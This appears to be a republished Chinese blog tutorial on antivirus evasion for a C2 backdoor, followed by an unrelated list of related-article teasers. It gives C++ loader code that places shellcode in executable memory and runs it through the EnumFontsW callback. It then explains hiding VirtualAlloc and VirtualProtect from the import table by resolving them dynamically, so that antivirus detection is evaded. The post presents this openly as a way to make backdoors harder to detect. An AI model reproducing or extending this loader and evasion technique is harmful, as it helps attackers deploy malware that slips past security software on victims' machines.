【免杀】C2远控-Loader加载器-动态API调用

目录

        • 创建后门程序
        • 站在杀毒程序立场上对后门进行分析
        • 例:动态调用VirtualProtect函数

作用:绕过杀毒对导入表的检测定性

创建后门程序
  • VS新建项目
    回调函数加载Loader
#include <Windows.h>unsigned char shellcode[] ="";void CallBack() {void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, shellcode, sizeof(shellcode));/** EnumFontsW是Windows API,用于枚举系统中所有可用字体* 参数1:设备环境句柄,表示要枚举哪个设备的字体* 参数2:NULL表示枚举所有字体* 参数3:回调函数指针,用于处理每个枚举到的字体信息* 参数4:回调函数参数*/EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数}int main() {CallBack();
}
  • 填入自己的shellcode
  • 编译程序测试上线,测试成功
站在杀毒程序立场上对后门进行分析
  • PE查看后门导入表

    可以看到代码里面的一些函数

    杀毒软件也可以看到这些封装的函数,它会重点关注这些封装的关键函数
  • 动态调用就是不封装在这里面,绕过杀毒对导入表的检测定性
例:动态调用VirtualProtect函数

动态调用模板代码

typedef BOOL(WINAPI* vp)(LPVOID      Address,DWORD       size,DWORD       New,PDWORD      Old);
vp vip = (vp)GetProcAddress(GetModuleHandleA("Kernel32.dll"),"VirtualProtect"
);

例子:对回调loader进行某函数动态API加载

  • 这里我对VirtualAlloc函数进行动态调用
    联机搜索,然后替换


    该代码片段用于动态获取 Kernel32.dll 库中 VirtualAlloc 函数的地址。
    要一一对应

    然后替换这个

    重新生成程序,用pe查看,发现查看不到 VirtualAlloc 函数了
    那么杀毒软件按照这个逻辑检测也就看不到这些关键的函数了。自然也就不会着重查看这些函数了。
    同理也可以将其他的关键函数都进行动态调用 ,那么你后门的特征就更少了,被杀毒软件的检测到的可能性也就降低了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26143.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FlashBrowser

本例&#xff1a;windows10 下载FlashBrowser 解决flash失效问题&#xff0c;更换浏览器 https://www.flash.cn/ 下载FlashBrowser浏览器

Redis的缓存击穿、缓存穿透和缓存雪崩是什么?怎么预防?

Redis的缓存击穿、缓存穿透和缓存雪崩是什么&#xff1f;怎么预防&#xff1f; 前言缓存击穿定义解决思路实现加锁设置过期时间Lua脚本刷新锁 缓存穿透定义实现 缓存雪崩定义解决思路 总结 前言 最近在CSDN上看到了一篇博客&#xff0c;Redis缓存击穿、雪崩、穿透&#xff01;…

深入理解Vue3.js响应式系统基础逻辑

如果您觉得这篇文章有帮助的话&#xff01;给个点赞和评论支持下吧&#xff0c;感谢~ 作者&#xff1a;前端小王hs 阿里云社区博客专家/清华大学出版社签约作者/csdn百万访问前端博主/B站千粉前端up主 此篇文章是博主于2022年学习《Vue.js设计与实现》时的笔记整理而来 书籍&a…

15-字符串处理的常用函数——查找字符串,求字符串长度,分割字符串,查找指定字符,比较字符串,连接字符串

15-字符串处理的常用函数——查找字符串&#xff0c;求字符串长度&#xff0c;分割字符串&#xff0c;查找指定字符&#xff0c;比较字符串&#xff0c;连接字符串 文章目录 15-字符串处理的常用函数——查找字符串&#xff0c;求字符串长度&#xff0c;分割字符串&#xff0c;…

C++:SLT容器-->stack

C:SLT容器--&#xff1e;stack 1. stack容器2. stack 常用接口 1. stack容器 先进后出&#xff0c;后进先出不允许有遍历行为可以判断容器是否为空可以返回元素的个数 2. stack 常用接口 构造函数 stack<T> stk; // stack采用模板类实现&#xff0c;stack对象的默认构造形…

第1期JAVA社招面试经验月报

面经哥专注互联网社招面试经验分享&#xff0c;关注我&#xff0c;每日推送精选面经&#xff0c;面试前&#xff0c;先找面经哥&#xff5c;面经哥整理了上月30篇面试经历&#xff0c;选取了较为热点高频的面试题供大家参考 基础知识类‍‍‍‍‍ 1、说下双亲委派原则以及类加…

1992-2012年美国西海岸的海面高度异常数据集

Gridded Altimeter Fields with Enhanced Coastal Coverage 具有增强海岸覆盖范围的网格化测高场 简介 具有增强的海岸覆盖范围的网格化高度计场数据产品包含美国西海岸的海面高度异常&#xff08;SSHA 或 SLA&#xff09;以及北纬 35.25 度-48.5 度和东经 227.75 度-248.5 …

Vue3 渲染函数 API(五)

h() h 函数用于创建并返回一个虚拟节点&#xff08;VNode&#xff09; h( tag, // HTML 标签名、组件对象或异步组件函数 data, // 一个包含组件的props/attrs/domProps/on 等的对象 children // 子虚拟节点 (VNodes)&#xff0c;由 h()构建而成&#xff0c; // 也可以使用字符…

解析final原理

原理 public class TestFinal {final int a 20; //final保证不能读到两个值} 字节码&#xff1a; 写屏障&#xff1a; 之前的指令不会重排序到后面去&#xff08;有序性&#xff09; 之前的修改、赋值操作之后会同步到主内存中去&#xff08;可见性&#xff09; 0: aload…

大学生如何学习JavaScript?

学习 JavaScript 对于大学生来说是一个宝贵的技能&#xff0c;因为它是现代网页开发的核心语言之一。以下是一些详细的步骤&#xff0c;帮助大学生学习 JavaScript&#xff1a; 1. 了解 Web 开发基础 学习 HTML 和 CSS&#xff0c;这是网页开发的基石。 2. 学习 JavaScript …

什么是transformer?

整个 transformer 的重点在 QKV 结构上。 以前的 CNN 试图通过卷积来表达不同位置数值之间的关系&#xff0c;学习卷积值也就是学习矩阵里的数值之间的特征&#xff0c;所以适合用在图像里面。因为图像就是一个个的像素点形成的矩阵。 RNN 试图通过加入反馈机制来理解一串数值…

Python酷库之旅-开启库房之门

目录 一、库的定义 二、库的组成 三、库的分类 四、如何学好Python库&#xff1f; 五、注意事项 六、推荐阅读 1、Python筑基之旅 2、Python函数之旅 3、Python算法之旅 4、Python魔法之旅 5、 博客个人主页 一、库的定义 在Python中&#xff0c;库(Library)是一个封…

探索智慧机场运营中心解决方案的价值与应用

随着全球航空业的不断发展&#xff0c;机场运营中心的作用日益凸显。智慧机场运营中心解决方案以其高效的管理和智能化的运营模式&#xff0c;成为优化机场运营、提升服务水平的重要工具。本文将深入探讨智慧机场运营中心解决方案的价值与应用&#xff0c;揭示其在机场管理中的…

机器学习常见知识点 2:决策树

文章目录 决策树算法1、决策树树状图2、选择最优决策条件3、决策树算法过程→白话决策树原理决策树构建的基本步骤常见的决策树算法决策树的优缺点 【五分钟机器学习】可视化的决策过程&#xff1a;决策树 Decision Tree 关键词记忆&#xff1a; 纯度、选择最优特征分裂、熵、基…

Ubuntu下ClickHouse安装

用 root 身份运行, 注意在install那一步, 不要设置密码 # 使用官方安装源&#xff0c;跳过签名验证。&#xff08;因为使用 gpg 完全通过代理获取签名的问题至今没有解决。&#xff09; echo deb [trustedyes] https://packages.clickhouse.com/deb stable main > /etc/apt…

电脑上的瑞士军刀

一、简介 1、一款专为 Windows 操作系统设计的桌面管理工具&#xff0c;它具备保存和恢复桌面图标位置的功能&#xff0c;使用户能够在各种情况下&#xff0c;如分辨率变动、系统更新或其他原因导致的图标位置混乱后&#xff0c;快速恢复到熟悉的工作环境。它还拥有诸多实用功能…

【Pyqt6 学习笔记】实现串口调试助手,并将接收到数据模拟键盘输出

文章目录 代码示例main.pyscreen_shot_module.pyqrcmd.pyuntitled.pyuntitled.ui 本文内容是 【Pyqt6 学习笔记】DIY一个二维码解析生成小工具的延申&#xff0c;在原来的基础上实现了串口调试助手功能&#xff0c;并利用 pywinauto的 keyboard模块将接收到数据模拟键盘输出…

【递归+二叉树思想+搜索】 Alice and the Cake题解

Alice and the Cake题解 AC记录&#xff1a;记录-洛谷 题面翻译&#xff08;大概就是题目大意&#xff09; 执行恰好 n − 1 n-1 n−1 次操作&#xff0c;每次操作可以选择当前所有蛋糕中满足其重量 w ⩾ 2 w\geqslant 2 w⩾2 的一块&#xff0c;然后将其分为质量分别为 …

手机连接ESP8266的WIFI,进入内置网页,输入要显示的内容,在OLED显示屏上显示文本

连线 OLEDESP8266含义GNDGND地线VCC3V电源SCLD1时钟线SDAD2通信数据线 只支持英文信息的显示和数字。 #include <ESP8266WiFi.h> #include <ESP8266WebServer.h> #include <Wire.h> #include <Adafruit_GFX.h> #include <Adafruit_SSD1306.h>#d…

开发性能优化+开发安全最大化

性能优化 1.优化数据库访问 1.1索引 在数据库表中为需要频繁查询的列创建索引&#xff0c;可以提高查询效率。实质&#xff08;空间换时间&#xff09;&#xff1a;顺指针找到对应指定值的行&#xff0c;index_name&#xff1a;索引名&#xff1b;column_list&#xff1a;指定…